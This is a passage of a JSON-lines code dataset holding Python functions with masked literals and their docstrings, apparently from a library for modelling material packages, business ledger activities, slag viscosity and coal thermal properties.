self.\n\n:returns: A new Material package that is the sum of self and 'other'.", "id": "f15833:c1:m2"}
{"signature": "def __mul__(self, scalar):", "body": "<EOL>if type(scalar) is float:<EOL><INDENT>if scalar < <NUM_LIT:0.0>:<EOL><INDENT>raise Exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>result = MaterialPackage(<EOL>self.material, [c * scalar for c in self.compound_masses])<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "The multiplication operator (*).\n\nCreate a new package by multiplying self with scalar.\n\n:param scalar: The result is a new package with its content equal to\n  self multiplied by a scalar, leaving self unchanged.\n\n:returns: A new MaterialPackage equal to self package multiplied by\n  other.", "id": "f15833:c1:m3"}
{"signature": "def _is_compound_mass_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format (compound(str),\nmass(float)).", "id": "f15833:c1:m5"}
{"signature": "def clone(self):", "body": "result = copy.copy(self)<EOL>result.compound_masses = copy.deepcopy(self.compound_masses)<EOL>return result<EOL>", "docstring": "Create a complete copy of self.\n\n:returns: A MaterialPackage that is identical to self.", "id": "f15833:c1:m6"}
{"signature": "def clear(self):", "body": "self.compound_masses *= <NUM_LIT:0.0><EOL>", "docstring": "Set all the compound masses in the package to zero.", "id": "f15833:c1:m7"}
{"signature": "def get_assay(self):", "body": "masses_sum = sum(self.compound_masses)<EOL>return [m / masses_sum for m in self.compound_masses]<EOL>", "docstring": "Determine the assay of self.\n\n:returns: [mass fractions] An array containing the assay of self.", "id": "f15833:c1:m8"}
{"signature": "def get_mass(self):", "body": "return sum(self.compound_masses)<EOL>", "docstring": "Get the mass of the package.\n\n:returns: [kg]", "id": "f15833:c1:m9"}
{"signature": "def get_compound_mass(self, compound):", "body": "return self.compound_masses[self.material.get_compound_index(compound)]<EOL>", "docstring": "Get the mass of the specified compound in the package.\n\n:param compound: The formula of the compound, e.g. Fe2O3.\n\n:returns: [kg]", "id": "f15833:c1:m10"}
{"signature": "def get_compound_mass_fraction(self, compound):", "body": "return self.get_compound_mass(compound) / self.get_mass()<EOL>", "docstring": "Get the mass fraction of the specified compound in self.\n\n:param compound: The formula and phase of the compound, e.g. Fe2O3.\n\n:returns: []", "id": "f15833:c1:m11"}
{"signature": "def get_element_masses(self):", "body": "result = [<NUM_LIT:0>] * len(self.material.elements)<EOL>for compound in self.material.compounds:<EOL><INDENT>c = self.get_compound_mass(compound)<EOL>f = [c * x for x in emf(compound, self.material.elements)]<EOL>result = [v+f[ix] for ix, v in enumerate(result)]<EOL><DEDENT>return result<EOL>", "docstring": "Get the masses of elements in the package.\n\n:returns: [kg] An array of element masses. The sequence of the elements\n  in the result corresponds with the sequence of elements in the\n  element list of the material.", "id": "f15833:c1:m12"}
{"signature": "def get_element_mass_dictionary(self):", "body": "element_symbols = self.material.elements<EOL>element_masses = self.get_element_masses()<EOL>result = {}<EOL>for s, m in zip(element_symbols, element_masses):<EOL><INDENT>result[s] = m<EOL><DEDENT>return result<EOL>", "docstring": "Determine the masses of elements in the package and return as a\ndictionary.\n\n:returns: [kg] A dictionary of element symbols and masses.", "id": "f15833:c1:m13"}
{"signature": "def get_element_mass(self, element):", "body": "result = [<NUM_LIT:0>]<EOL>for compound in self.material.compounds:<EOL><INDENT>c = self.get_compound_mass(compound)<EOL>f = [c * x for x in emf(compound, [element])]<EOL>result = [v+f[ix] for ix, v in enumerate(result)]<EOL><DEDENT>return result[<NUM_LIT:0>]<EOL>", "docstring": "Determine the masses of elements in the package.\n\n:returns: [kg] An array of element masses. The sequence of the elements\n  in the result corresponds with the sequence of elements in the\n  element list of the material.", "id": "f15833:c1:m14"}
{"signature": "def extract(self, other):", "body": "<EOL>if type(other) is float:<EOL><INDENT>if other > self.get_mass():<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>fraction_to_subtract = other / self.get_mass()<EOL>result = MaterialPackage(<EOL>self.material,<EOL>[m * fraction_to_subtract for m in self.compound_masses])<EOL>self.compound_masses = [m * (<NUM_LIT:1.0> - fraction_to_subtract)<EOL>for m in self.compound_masses]<EOL>return result<EOL><DEDENT>elif self._is_compound_mass_tuple(other):<EOL><INDENT>index = self.material.get_compound_index(other[<NUM_LIT:0>])<EOL>if other[<NUM_LIT:1>] > self.compound_masses[index]:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self.compound_masses[index] -= other[<NUM_LIT:1>]<EOL>resultarray = [<NUM_LIT:0.0>] * len(self.compound_masses)<EOL>resultarray[index] = other[<NUM_LIT:1>]<EOL>result = MaterialPackage(self.material, resultarray)<EOL>return result<EOL><DEDENT>elif type(other) is str:<EOL><INDENT>index = self.material.get_compound_index(other)<EOL>result = self * <NUM_LIT:0.0><EOL>result.compound_masses[index] = self.compound_masses[index]<EOL>self.compound_masses[index] = <NUM_LIT:0.0><EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Extract 'other' from self, modifying self and returning the extracted\nmaterial as a new package.\n\n:param other: Can be one of the following:\n\n  * float: A mass equal to other is extracted from self. Self is\n    reduced by other and the extracted package is returned as a\n    new package.\n  * tuple (compound, mass): The other tuple specifies the mass of\n    a compound to be extracted. It is extracted from self and the\n    extracted mass is returned as a new package.\n  * string: The 'other' string specifies the compound to be extracted.\n    All of the mass of that compound will be removed from self and a\n    new package created with it.\n\n\n:returns: A new material package containing the material that was\n  extracted from self.", "id": "f15833:c1:m15"}
{"signature": "def add_to(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>if self.material == other.material:<EOL><INDENT>self.compound_masses += other.compound_masses<EOL><DEDENT>else:<EOL><INDENT>for compound in other.material.compounds:<EOL><INDENT>if compound not in self.material.compounds:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + compound +<EOL>\"<STR_LIT>\" +<EOL>self.material.name + \"<STR_LIT>\")<EOL><DEDENT>self.add_to((compound, other.get_compound_mass(compound)))<EOL><DEDENT><DEDENT><DEDENT>elif self._is_compound_mass_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>compound_index = self.material.get_compound_index(compound)<EOL>mass = other[<NUM_LIT:1>]<EOL>self.compound_masses[compound_index] += mass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Add another chem material package to this material package.\n\n:param other: The other material package.", "id": "f15833:c1:m16"}
{"signature": "def run(self, clock, generalLedger):", "body": "if not self._meet_execution_criteria(clock.timestep_ix):<EOL><INDENT>return<EOL><DEDENT>generalLedger.create_transaction(<EOL>self.description if self.description is not None else self.name,<EOL>description='<STR_LIT>',<EOL>tx_date=clock.get_datetime(),<EOL>dt_account=self.dt_account,<EOL>cr_account=self.cr_account,<EOL>source=self.path,<EOL>amount=self.amount)<EOL>", "docstring": "Execute the activity at the current clock cycle.\n\n:param clock: The clock containing the current execution time and\n  period information.\n:param generalLedger: The general ledger into which to create the\n  transactions.", "id": "f15837:c0:m2"}
{"signature": "def get_referenced_accounts(self):", "body": "return [self.dt_account, self.cr_account]<EOL>", "docstring": "Retrieve the general ledger accounts referenced in this instance.\n\n:returns: The referenced accounts.", "id": "f15837:c0:m3"}
{"signature": "def prepare_to_run(self, clock, period_count):", "body": "super(BasicLoanActivity, self).prepare_to_run(clock, period_count)<EOL>self._months_executed = <NUM_LIT:0><EOL>self._amount_left = self.amount<EOL>", "docstring": "Prepare the activity for execution.\n\n:param clock: The clock containing the execution start time and\n  execution period information.\n:param period_count: The total amount of periods this activity will be\n  requested to be run for.", "id": "f15837:c1:m7"}
{"signature": "def run(self, clock, generalLedger):", "body": "if not self._meet_execution_criteria(clock.timestep_ix):<EOL><INDENT>return<EOL><DEDENT>if self.description is None:<EOL><INDENT>tx_name = self.name<EOL><DEDENT>else:<EOL><INDENT>tx_name = self.description<EOL><DEDENT>if self._months_executed == <NUM_LIT:0>:<EOL><INDENT>generalLedger.create_transaction(<EOL>tx_name,<EOL>description='<STR_LIT>',<EOL>tx_date=clock.get_datetime(),<EOL>dt_account=self.bank_account,<EOL>cr_account=self.loan_account,<EOL>source=self.path,<EOL>amount=self.amount)<EOL><DEDENT>else:<EOL><INDENT>curr_interest_amount = (self._amount_left *<EOL>self.interest_rate) / <NUM_LIT><EOL>generalLedger.create_transaction(<EOL>tx_name,<EOL>description='<STR_LIT>',<EOL>tx_date=clock.get_datetime(),<EOL>dt_account=self.interest_account,<EOL>cr_account=self.loan_account,<EOL>source=self.path,<EOL>amount=curr_interest_amount)<EOL>generalLedger.create_transaction(<EOL>tx_name,<EOL>description='<STR_LIT>',<EOL>tx_date=clock.get_datetime(),<EOL>dt_account=self.loan_account,<EOL>cr_account=self.bank_account,<EOL>source=self.path,<EOL>amount=self._monthly_payment)<EOL>self._amount_left += curr_interest_amount - self._monthly_payment<EOL><DEDENT>self._months_executed += self.interval<EOL>", "docstring": "Execute the activity at the current clock cycle.\n\n:param clock: The clock containing the current execution time and\n  period information.\n:param generalLedger: The general ledger into which to create the\n  transactions.", "id": "f15837:c1:m8"}
{"signature": "def get_referenced_accounts(self):", "body": "return [<EOL>self.bank_account,<EOL>self.loan_account,<EOL>self.interest_account]<EOL>", "docstring": "Retrieve the general ledger accounts referenced in this instance.\n\n:returns: The referenced accounts.", "id": "f15837:c1:m9"}
{"signature": "def set_parent_path(self, value):", "body": "self._parent_path = value<EOL>self.path = value + r'<STR_LIT:/>' + self.name<EOL>", "docstring": "Set the parent path and the path from the new parent path.\n\n:param value: The path to the object's parent", "id": "f15838:c0:m2"}
{"signature": "def prepare_to_run(self, clock, period_count):", "body": "if self.start_period_ix == -<NUM_LIT:1> and self.start_datetime != datetime.min:<EOL><INDENT>for i in range(<NUM_LIT:0>, period_count):<EOL><INDENT>if clock.get_datetime_at_period_ix(i) > self.start_datetime:<EOL><INDENT>self.start_period_ix = i<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if self.start_period_ix == -<NUM_LIT:1>:<EOL><INDENT>self.start_period_ix = <NUM_LIT:0><EOL><DEDENT>if self.period_count == -<NUM_LIT:1> and self.end_datetime != datetime.max:<EOL><INDENT>for i in range(<NUM_LIT:0>, period_count):<EOL><INDENT>if clock.get_datetime_at_period_ix(i) > self.end_datetime:<EOL><INDENT>self.period_count = i - self.start_period_ix<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if self.period_count != -<NUM_LIT:1>:<EOL><INDENT>self.end_period_ix = self.start_period_ix + self.period_count<EOL><DEDENT>else:<EOL><INDENT>self.end_period_ix = self.start_period_ix + period_count<EOL><DEDENT>", "docstring": "Prepare the activity for execution.\n\n:param clock: The clock containing the execution start time and\n  execution period information.\n:param period_count: The total amount of periods this activity will be\n  requested to be run for.", "id": "f15838:c0:m6"}
{"signature": "def get_referenced_accounts(self):", "body": "return []<EOL>", "docstring": "Retrieve the general ledger accounts referenced in this instance.\n\n:returns: The referenced accounts.", "id": "f15838:c0:m7"}
{"signature": "def set_parent_path(self, value):", "body": "self._parent_path = value<EOL>self.path = value + r'<STR_LIT:/>' + self.name<EOL>self._update_childrens_parent_path()<EOL>", "docstring": "Set the parent path and the path from the new parent path.\n\n:param value: The path to the object's parent.", "id": "f15838:c1:m3"}
{"signature": "def create_component(self, name, description=None):", "body": "new_comp = Component(name, self.gl, description=description)<EOL>new_comp.set_parent_path(self.path)<EOL>self.components.append(new_comp)<EOL>return new_comp<EOL>", "docstring": "Create a sub component in the business component.\n\n:param name: The new component's name.\n:param description: The new component's description.\n\n:returns: The created component.", "id": "f15838:c1:m7"}
{"signature": "def remove_component(self, name):", "body": "component_to_remove = None<EOL>for c in self.components:<EOL><INDENT>if c.name == name:<EOL><INDENT>component_to_remove = c<EOL><DEDENT><DEDENT>if component_to_remove is not None:<EOL><INDENT>self.components.remove(component_to_remove)<EOL><DEDENT>", "docstring": "Remove a sub component from the component.\n\n:param name: The name of the component to remove.", "id": "f15838:c1:m8"}
{"signature": "def get_component(self, name):", "body": "return [c for c in self.components if c.name == name][<NUM_LIT:0>]<EOL>", "docstring": "Retrieve a child component given its name.\n\n:param name: The name of the component.\n\n:returns: The component.", "id": "f15838:c1:m9"}
{"signature": "def add_activity(self, activity):", "body": "self.gl.structure.validate_account_names(<EOL>activity.get_referenced_accounts())<EOL>self.activities.append(activity)<EOL>activity.set_parent_path(self.path)<EOL>", "docstring": "Add an activity to the component.\n\n:param activity: The activity.", "id": "f15838:c1:m10"}
{"signature": "def get_activity(self, name):", "body": "return [a for a in self.activities if a.name == name][<NUM_LIT:0>]<EOL>", "docstring": "Retrieve an activity given its name.\n\n:param name: The name of the activity.\n\n:returns: The activity.", "id": "f15838:c1:m11"}
{"signature": "def prepare_to_run(self, clock, period_count):", "body": "for c in self.components:<EOL><INDENT>c.prepare_to_run(clock, period_count)<EOL><DEDENT>for a in self.activities:<EOL><INDENT>a.prepare_to_run(clock, period_count)<EOL><DEDENT>", "docstring": "Prepare the component for execution.\n\n:param clock: The clock containing the execution start time and\n  execution period information.\n:param period_count: The total amount of periods this activity will be\n  requested to be run for.", "id": "f15838:c1:m12"}
{"signature": "def run(self, clock, generalLedger):", "body": "for c in self.components:<EOL><INDENT>c.run(clock, generalLedger)<EOL><DEDENT>for a in self.activities:<EOL><INDENT>a.run(clock, generalLedger)<EOL><DEDENT>", "docstring": "Execute the component at the current clock cycle.\n\n:param clock: The clock containing the current execution time and\n  period information.\n:param generalLedger: The general ledger into which to create the\n  transactions.", "id": "f15838:c1:m13"}
{"signature": "def set_parent_path(self, value):", "body": "self._parent_path = value<EOL>self.path = value + r'<STR_LIT:/>' + self.name<EOL>self._update_childrens_parent_path()<EOL>", "docstring": "Set the parent path and the path from the new parent path.\n\n:param value: The path to the object's parent", "id": "f15838:c2:m2"}
{"signature": "def create_component(self, name, description=None):", "body": "new_comp = Component(name, self.gl, description=description)<EOL>new_comp.set_parent_path(self.path)<EOL>self.components.append(new_comp)<EOL>return new_comp<EOL>", "docstring": "Create a component in the business entity.\n\n:param name: The component's name.\n:param description: The component's description.\n\n:returns: The created component.", "id": "f15838:c2:m6"}
{"signature": "def remove_component(self, name):", "body": "component_to_remove = None<EOL>for c in self.components:<EOL><INDENT>if c.name == name:<EOL><INDENT>component_to_remove = c<EOL><DEDENT><DEDENT>if component_to_remove is not None:<EOL><INDENT>self.components.remove(component_to_remove)<EOL><DEDENT>", "docstring": "Remove a component from the entity.\n\n:param name: The name of the component to remove.", "id": "f15838:c2:m7"}
{"signature": "def prepare_to_run(self, clock, period_count):", "body": "self.period_count = period_count<EOL>self._exec_year_end_datetime = clock.get_datetime_at_period_ix(<EOL>period_count)<EOL>self._prev_year_end_datetime = clock.start_datetime<EOL>self._curr_year_end_datetime = clock.start_datetime + relativedelta(<EOL>years=<NUM_LIT:1>)<EOL>del self.gl.transactions[:]<EOL>for c in self.components:<EOL><INDENT>c.prepare_to_run(clock, period_count)<EOL><DEDENT>self.negative_income_tax_total = <NUM_LIT:0><EOL>", "docstring": "Prepare the entity for execution.\n\n:param clock: The clock containing the execution start time and\n  execution period information.\n:param period_count: The total amount of periods this activity will be\n  requested to be run for.", "id": "f15838:c2:m8"}
{"signature": "def run(self, clock):", "body": "if clock.timestep_ix >= self.period_count:<EOL><INDENT>return<EOL><DEDENT>for c in self.components:<EOL><INDENT>c.run(clock, self.gl)<EOL><DEDENT>self._perform_year_end_procedure(clock)<EOL>", "docstring": "Execute the entity at the current clock cycle.\n\n:param clock: The clock containing the current execution time and\n  period information.", "id": "f15838:c2:m9"}
{"signature": "def create_entity(self, name, gl_structure, description=None):", "body": "new_entity = Entity(name, gl_structure, description=description)<EOL>self.entities.append(new_entity)<EOL>return new_entity<EOL>", "docstring": "Create an entity and add it to the model.\n\n:param name: The entity name.\n:param gl_structure: The entity's general ledger structure.\n:param description: The entity description.\n\n:returns: The created entity.", "id": "f15840:c0:m4"}
{"signature": "def remove_entity(self, name):", "body": "entity_to_remove = None<EOL>for e in self.entities:<EOL><INDENT>if e.name == name:<EOL><INDENT>entity_to_remove = e<EOL><DEDENT><DEDENT>if entity_to_remove is not None:<EOL><INDENT>self.entities.remove(entity_to_remove)<EOL><DEDENT>", "docstring": "Remove an entity from the model.\n\n:param name: The name of the entity to remove.", "id": "f15840:c0:m5"}
{"signature": "def prepare_to_run(self):", "body": "self.clock.reset()<EOL>for e in self.entities:<EOL><INDENT>e.prepare_to_run(self.clock, self.period_count)<EOL><DEDENT>", "docstring": "Prepare the model for execution.", "id": "f15840:c0:m6"}
{"signature": "def run(self):", "body": "self.prepare_to_run()<EOL>for i in range(<NUM_LIT:0>, self.period_count):<EOL><INDENT>for e in self.entities:<EOL><INDENT>e.run(self.clock)<EOL><DEDENT>self.clock.tick()<EOL><DEDENT>", "docstring": "Execute the model.", "id": "f15840:c0:m7"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>x = state['<STR_LIT:x>']<EOL>x_total = sum(x.values())<EOL>x = {compound: x[compound]/x_total for compound in x.keys()}<EOL>xg = x.get('<STR_LIT>', <NUM_LIT>) + x.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>xm = x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>) +x.get('<STR_LIT>', <NUM_LIT:0.0>) + <NUM_LIT>*x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>) +x.get('<STR_LIT>', <NUM_LIT:0.0>) + <NUM_LIT>*x.get('<STR_LIT>', <NUM_LIT:0.0>) + <NUM_LIT>*x.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>xa = x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>norm = <NUM_LIT:1.0> + x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>) +x.get('<STR_LIT>', <NUM_LIT:0.0>) + x.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>xg_norm = xg / norm<EOL>xm_norm = xm / norm<EOL>xa_norm = xa / norm<EOL>alpha = xm_norm / (xm_norm + xa_norm)<EOL>B0 = <NUM_LIT> + <NUM_LIT>*alpha - <NUM_LIT>*alpha**<NUM_LIT><EOL>B1 = <NUM_LIT> - <NUM_LIT>*alpha + <NUM_LIT>*alpha**<NUM_LIT><EOL>B2 = -<NUM_LIT> + <NUM_LIT>*alpha - <NUM_LIT>*alpha**<NUM_LIT><EOL>B3 = <NUM_LIT> - <NUM_LIT>*alpha + <NUM_LIT>*alpha**<NUM_LIT><EOL>B = B0 + B1*xg_norm + B2*xg_norm**<NUM_LIT> + B3*xg_norm**<NUM_LIT><EOL>A = exp(-<NUM_LIT>*B - <NUM_LIT>)<EOL>result = A*T*exp(<NUM_LIT>*B/T)  <EOL>return result / <NUM_LIT><EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param x: [mole fraction] composition dictionary , e.g. \\\n{'SiO2': 0.25, 'CaO': 0.25, 'MgO': 0.25, 'FeO': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15847:c0:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>y = state['<STR_LIT:y>']<EOL>x = amount_fractions(y)<EOL>return super().calculate(T=T, x=x)<EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param y: [mass fraction] composition dictionary , e.g. \\\n{'SiO2': 0.25, 'CaO': 0.25, 'MgO': 0.25, 'FeO': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15847:c1:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>x = state['<STR_LIT:x>']<EOL>compounds_sio2 = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>compounds_cao = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>compounds_al2o3 = ['<STR_LIT>']<EOL>compounds_caf2 = ['<STR_LIT>']<EOL>compounds_na2o = ['<STR_LIT>', '<STR_LIT>']<EOL>compounds_all = (compounds_sio2 + compounds_cao + compounds_al2o3 +<EOL>compounds_caf2 + compounds_na2o)<EOL>if '<STR_LIT>' in x:<EOL><INDENT>x['<STR_LIT>'] = <NUM_LIT> * x['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in x:<EOL><INDENT>x['<STR_LIT>'] = <NUM_LIT> * x['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in x:<EOL><INDENT>x['<STR_LIT>'] = <NUM_LIT> * x['<STR_LIT>']<EOL><DEDENT>x_total = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_all])<EOL>x = {c: x.get(c, <NUM_LIT:0.0>)/x_total for c in compounds_all}<EOL>x1 = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_sio2])<EOL>x2 = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_cao])<EOL>x3 = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_al2o3])<EOL>x4 = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_caf2])<EOL>x5 = sum([x.get(c, <NUM_LIT:0.0>) for c in compounds_na2o])<EOL>A = exp(-<NUM_LIT> + <NUM_LIT>*x2 + <NUM_LIT>*x4 + <NUM_LIT>*x5 - <NUM_LIT>*x3)<EOL>B = <NUM_LIT> - <NUM_LIT>*x2 - <NUM_LIT>*x4 - <NUM_LIT>*x5 + <NUM_LIT>*x3<EOL>result = A*T*exp(B/T)  <EOL>return result / <NUM_LIT><EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param x: [mole fraction] composition dictionary , e.g. \\\n{'SiO2': 0.25, 'CaO': 0.25, 'MgO': 0.25, 'FeO': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15847:c2:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>y = state['<STR_LIT:y>']<EOL>x = amount_fractions(y)<EOL>return super().calculate(T=T, x=x)<EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param y: [mass fraction] composition dictionary , e.g. \\\n{'SiO2': 0.25, 'CaO': 0.25, 'MgO': 0.25, 'FeO': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15847:c3:m1"}
{"signature": "def _calc_a(self, y_C, y_H, y_O, y_N, y_S):", "body": "return <NUM_LIT:1> / (y_C/mm(\"<STR_LIT:C>\") + y_H/mm(\"<STR_LIT:H>\") + y_O/mm(\"<STR_LIT:O>\") + y_N/mm(\"<STR_LIT:N>\") +<EOL>y_S/mm(\"<STR_LIT:S>\"))<EOL>", "docstring": "Calculate the mean atomic weight for the specified element mass\nfractions.\n\n:param y_C: Carbon mass fraction\n:param y_H: Hydrogen mass fraction\n:param y_O: Oxygen mass fraction\n:param y_N: Nitrogen mass fraction\n:param y_S: Sulphur mass fraction\n\n:returns: [kg/kmol] mean atomic weight\n\nSee equation at bottom of page 538 of Merrick1983a.", "id": "f15849:c0:m1"}
{"signature": "def _calc_g1(self, z):", "body": "return exp(z) / ((exp(z) - <NUM_LIT:1.0>) / z) ** <NUM_LIT><EOL>", "docstring": "Calculate the g1 parameter.\n\n:param z: dimensionless temperature", "id": "f15849:c1:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>y_C = state['<STR_LIT>']<EOL>y_H = state['<STR_LIT>']<EOL>y_O = state['<STR_LIT>']<EOL>y_N = state['<STR_LIT>']<EOL>y_S = state['<STR_LIT>']<EOL>a = self._calc_a(y_C, y_H, y_O, y_N, y_S) / <NUM_LIT:1000>  <EOL>result = (R/a) * (self._calc_g1(<NUM_LIT>/T) + <NUM_LIT:2>*self._calc_g1(<NUM_LIT>/T))<EOL>return result<EOL>", "docstring": "Calculate the heat capacity at the specified temperature and\ncomposition using equation 10 in Merrick1983b.\n\n:param T: [K] temperature\n:param y_C: Carbon mass fraction\n:param y_H: Hydrogen mass fraction\n:param y_O: Oxygen mass fraction\n:param y_N: Nitrogen mass fraction\n:param y_S: Sulphur mass fraction\n\n:returns: [J/kg/K] heat capacity\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15849:c1:m2"}
{"signature": "def _calc_g0(self, z):", "body": "return <NUM_LIT:1> / (exp(z) - <NUM_LIT:1>)<EOL>", "docstring": "Calculate the g0 parameter.\n\n:param z: dimensionless temperature", "id": "f15849:c2:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>y_C = state['<STR_LIT>']<EOL>y_H = state['<STR_LIT>']<EOL>y_O = state['<STR_LIT>']<EOL>y_N = state['<STR_LIT>']<EOL>y_S = state['<STR_LIT>']<EOL>a = self._calc_a(y_C, y_H, y_O, y_N, y_S) / <NUM_LIT:1000>  <EOL>result = (R/a) * (<NUM_LIT>*self._calc_g0(<NUM_LIT>/T) + <NUM_LIT>*self._calc_g0(<NUM_LIT>/T))<EOL>return result<EOL>", "docstring": "Calculate the enthalpy at the specified temperature and composition\nusing equation 9 in Merrick1983b.\n\n:param T: [K] temperature\n:param y_C: Carbon mass fraction\n:param y_H: Hydrogen mass fraction\n:param y_O: Oxygen mass fraction\n:param y_N: Nitrogen mass fraction\n:param y_S: Sulphur mass fraction\n\n:returns: [J/kg] enthalpy\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15849:c2:m2"}
{"signature": "@staticmethod<EOL><INDENT>def create(dataset, symbol, degree):<DEDENT>", "body": "x_vals = dataset.data['<STR_LIT:T>'].tolist()<EOL>y_vals = dataset.data[symbol].tolist()<EOL>coeffs = np.polyfit(x_vals, y_vals, degree)<EOL>result = PolynomialModelT(dataset.material,<EOL>dataset.names_dict[symbol],<EOL>symbol, dataset.display_symbols_dict[symbol],<EOL>dataset.units_dict[symbol],<EOL>None, [dataset.name], coeffs)<EOL>result.state_schema['<STR_LIT:T>']['<STR_LIT>'] = float(min(x_vals))<EOL>result.state_schema['<STR_LIT:T>']['<STR_LIT>'] = float(max(x_vals))<EOL>return result<EOL>", "docstring": "Create a model object from the data set for the property specified by\nthe supplied symbol, using the specified polynomial degree.\n\n:param dataset: a DataSet object\n:param symbol: the symbol of the property to be described, e.g. 'rho'\n:param degree: the polynomial degree to use\n\n:returns: a new PolynomialModelT object", "id": "f15850:c0:m0"}
{"signature": "def calculate(self, **state):", "body": "super().calculate(**state)<EOL>return np.polyval(self._coeffs, state['<STR_LIT:T>'])<EOL>", "docstring": "Calculate the material physical property at the specified temperature\nin the units specified by the object's 'property_units' property.\n\n:param T: [K] temperature\n\n:returns: physical property value", "id": "f15850:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def create_template(material, path, show=False):<DEDENT>", "body": "file_name = '<STR_LIT>' % material.lower()<EOL>file_path = os.path.join(path, file_name)<EOL>with open(file_path, '<STR_LIT:w>', newline='<STR_LIT>') as csvfile:<EOL><INDENT>writer = csv.writer(csvfile, delimiter='<STR_LIT:U+002C>',<EOL>quotechar='<STR_LIT:\">', quoting=csv.QUOTE_MINIMAL)<EOL>writer.writerow(['<STR_LIT:Name>', material])<EOL>writer.writerow(['<STR_LIT>', '<STR_LIT>'<EOL>'<STR_LIT>'])<EOL>writer.writerow(['<STR_LIT>', '<STR_LIT>'<EOL>'<STR_LIT>'])<EOL>writer.writerow(['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'])<EOL>writer.writerow(['<STR_LIT:T>', '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>writer.writerow(['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'])<EOL>writer.writerow(['<STR_LIT:T>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'])<EOL>for i in range(<NUM_LIT:10>):<EOL><INDENT>writer.writerow([<NUM_LIT> + i*<NUM_LIT:50>, float(i), <NUM_LIT> + i, <NUM_LIT> + i])<EOL><DEDENT><DEDENT>if show is True:<EOL><INDENT>webbrowser.open_new(file_path)<EOL><DEDENT>", "docstring": "Create a template csv file for a data set.\n\n:param material: the name of the material\n:param path: the path of the directory where the file must be written\n:param show: a boolean indicating whether the created file should be \\\ndisplayed after creation", "id": "f15852:c1:m0"}
